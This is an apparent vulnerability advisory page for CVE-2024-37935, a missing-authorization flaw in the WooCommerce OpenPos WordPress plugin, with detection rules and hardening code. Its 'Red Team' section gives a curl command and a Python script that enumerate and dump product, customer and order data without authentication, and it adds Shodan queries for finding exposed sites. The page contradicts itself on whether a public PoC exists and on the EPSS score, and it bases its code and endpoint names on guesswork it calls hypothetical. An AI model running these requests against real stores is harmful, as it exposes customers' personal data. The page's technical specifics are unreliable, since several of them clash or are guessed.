☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Anhvnit logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N 🐛 CWE-862
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-37935

CVE-2024-37935 Missing Authorization in Anhvnit
📅 PUBLISHED: 2024-08-13 09:47 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.03%
👁️
1.03% probability
25.8× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: N Integrity None
A: N Availability None
7.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-37935 is a Missing Authorization vulnerability in the Woocommerce OpenPos WordPress plugin, developed by anhvnit. This flaw allows unauthenticated attackers to access functionality that should be properly constrained by Access Control Lists (ACLs). The vulnerability affects all versions from n/a through 6.4.4. With a CVSS score of 7.5 (High), this issue can lead to unauthorized data access and potential business logic abuse within the Point of Sale (POS) system.

As this is a WordPress plugin vulnerability, the attack surface is limited to sites running the vulnerable plugin. No public exploit code or proof-of-concept (PoC) has been released at this time, and the patch status remains unknown. The EPSS score is 0.0%, indicating a low probability of exploitation in the wild currently, but the risk remains significant due to the lack of authentication requirements.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository and third-party marketplaces. Organizations using Woocommerce OpenPos should immediately audit their deployment for version 6.4.4 or earlier. Since the plugin is not managed via NPM, PyPI, Go, or Ruby, standard package manager security advisories do not apply. However, WordPress site administrators should monitor the plugin’s changelog and the WordPress Plugin Directory for updates.

CVSS Breakdown & Threat Level

  • CVSS Score: 7.5 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • Attack Vector (AV): Network – The vulnerability can be exploited remotely.
  • Attack Complexity (AC): Low – No special conditions are required.
  • Privileges Required (PR): None – No authentication is needed.
  • User Interaction (UI): None – The attacker does not need to trick a user.
  • Scope (S): Unchanged – The exploit cannot affect other components.
  • Confidentiality (C): High – Sensitive data (e.g., order details, customer info) can be exposed.
  • Integrity (I): None – Data cannot be modified.
  • Availability (A): None – Service availability is not impacted.

Threat Level: High. The lack of authentication requirements makes this a critical risk for any WooCommerce store using the OpenPos plugin. An attacker can enumerate and access POS-related endpoints without any credentials.

Deep Dive & Mechanics

The Woocommerce OpenPos plugin provides a Point of Sale interface for WooCommerce stores. The vulnerability lies in the plugin’s REST API or AJAX handlers that fail to enforce proper authorization checks. Specifically, certain endpoints intended for authenticated POS users are accessible to anyone who can reach the WordPress site.

Root Cause: The plugin does not implement capability checks (e.g., current_user_can()) or nonce verification on critical functions. This allows unauthenticated attackers to invoke actions such as:

  • Retrieving product lists and prices
  • Accessing customer data
  • Fetching order history
  • Triggering POS-specific operations

Attack Vector: An attacker sends crafted HTTP requests to the vulnerable endpoints. For example:

GET /wp-admin/admin-ajax.php?action=openpos_get_products&nonce=anything

Without proper validation, the plugin processes the request and returns sensitive data.

Impact: An attacker can exfiltrate customer personally identifiable information (PII), product catalogs, and sales data. This could lead to competitive intelligence gathering, targeted phishing, or fraud.

Vulnerable vs. Patched Code

Since no official patch has been released, the vulnerable code remains in production. Below is a conceptual comparison based on typical WordPress authorization patterns.

Vulnerable Code (version <= 6.4.4):

add_action('wp_ajax_nopriv_openpos_get_products', 'openpos_get_products');
function openpos_get_products() {
    // No capability check
    $products = wc_get_products(array('limit' => -1));
    wp_send_json($products);
}

Patched Code (hypothetical):

add_action('wp_ajax_openpos_get_products', 'openpos_get_products');
add_action('wp_ajax_nopriv_openpos_get_products', 'openpos_get_products_denied');
function openpos_get_products() {
    if (!current_user_can('manage_woocommerce')) {
        wp_die('Unauthorized', 403);
    }
    $products = wc_get_products(array('limit' => -1));
    wp_send_json($products);
}
function openpos_get_products_denied() {
    wp_die('Unauthorized', 403);
}

The patched version restricts access to authenticated users with the manage_woocommerce capability and denies unauthenticated requests entirely.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A WordPress site with Woocommerce OpenPos plugin version <= 6.4.4
  • Network access to the target

Exploitation Steps:

  1. Identify the vulnerable endpoint by scanning for common AJAX actions:
    /wp-admin/admin-ajax.php?action=openpos_get_products
    /wp-admin/admin-ajax.php?action=openpos_get_customers
    /wp-admin/admin-ajax.php?action=openpos_get_orders
    
  2. Send a GET request without any authentication:
    curl -X GET "http://target.com/wp-admin/admin-ajax.php?action=openpos_get_products"
    
  3. If the plugin returns JSON data, the endpoint is vulnerable.
  4. Automate data extraction using a script:
    import requests
    target = "http://target.com/wp-admin/admin-ajax.php"
    actions = ["openpos_get_products", "openpos_get_customers", "openpos_get_orders"]
    for action in actions:
        r = requests.get(target, params={"action": action})
        if r.status_code == 200 and "data" in r.text:
            print(f"[+] {action} is vulnerable")
            print(r.text[:500])
    

Expected Output: JSON containing product details, customer names/emails, or order information.

Blue Team (Detection & Hardening)

Detection:

  • Monitor web server logs for requests to /wp-admin/admin-ajax.php with suspicious action parameters (e.g., openpos_*).
  • Look for repeated requests from the same IP without a valid session cookie.
  • Use the detection rules below.

Hardening:

  • Immediately disable the plugin if not essential.
  • Implement a Web Application Firewall (WAF) rule to block unauthenticated requests to openpos_* actions.
  • Add custom code to your theme’s functions.php to enforce authorization:
    add_action('init', function() {
        if (defined('DOING_AJAX') && DOING_AJAX) {
            $action = $_REQUEST['action'] ?? '';
            if (strpos($action, 'openpos_') === 0 && !is_user_logged_in()) {
                wp_die('Unauthorized', 403);
            }
        }
    });
    

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP requests to /wp-admin/admin-ajax.php with action parameter starting with openpos_
    • User-Agent strings not matching typical browser patterns (e.g., curl, python-requests)
    • Repeated requests from a single IP within a short timeframe
  • File IOCs:

    • Presence of the plugin directory: /wp-content/plugins/woocommerce-openpos/
    • Version file: /wp-content/plugins/woocommerce-openpos/readme.txt containing version <= 6.4.4
  • Log IOCs:

    • Apache/Nginx access logs showing POST /wp-admin/admin-ajax.php with action=openpos_* and HTTP 200 responses
    • WordPress debug log entries: PHP Notice: Undefined index: nonce in /wp-content/plugins/woocommerce-openpos/...

Detection Engineering

YARA Rule

rule CVE_2024_37935_WooCommerce_OpenPos {
    meta:
        description = "Detects vulnerable Woocommerce OpenPos plugin files"
        author = "Valters IT"
        date = "2024-07-25"
        reference = "CVE-2024-37935"
    strings:
        $vuln_func = "wp_ajax_nopriv_openpos_" nocase
        $vuln_action = "openpos_get_" nocase
    condition:
        $vuln_func or $vuln_action
}

Sigma Rule

title: CVE-2024-37935 - Unauthenticated Access to Woocommerce OpenPos
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects unauthenticated requests to vulnerable OpenPos AJAX endpoints
author: Valters IT
date: 2024/07/25
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'action=openpos_'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate POS users (if any) – but these should have authentication
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2024-37935 - Woocommerce OpenPos Unauthenticated Access";
    flow:to_server,established;
    content:"/wp-admin/admin-ajax.php";
    http_uri;
    content:"action=openpos_";
    http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
    reference:cve,2024-37935;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin if it is not critical for business operations.
  2. Apply a virtual patch using a WAF to block requests to openpos_* actions from unauthenticated users.
  3. Monitor logs for any signs of exploitation.

Long-term Fix:

  • The vendor (anhvnit) must release a patched version that implements proper capability checks. Until then, consider migrating to an alternative POS plugin with active security maintenance.
  • If you must continue using the plugin, implement the hardening code provided in the Blue Team section.

Valters IT Signature:

Valters IT
Cybersecurity & Threat Intelligence
https://valters-it.com
👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"OpenPOS"
http.html:"wp-content/plugins/woocommerce-openpos"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-37935/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.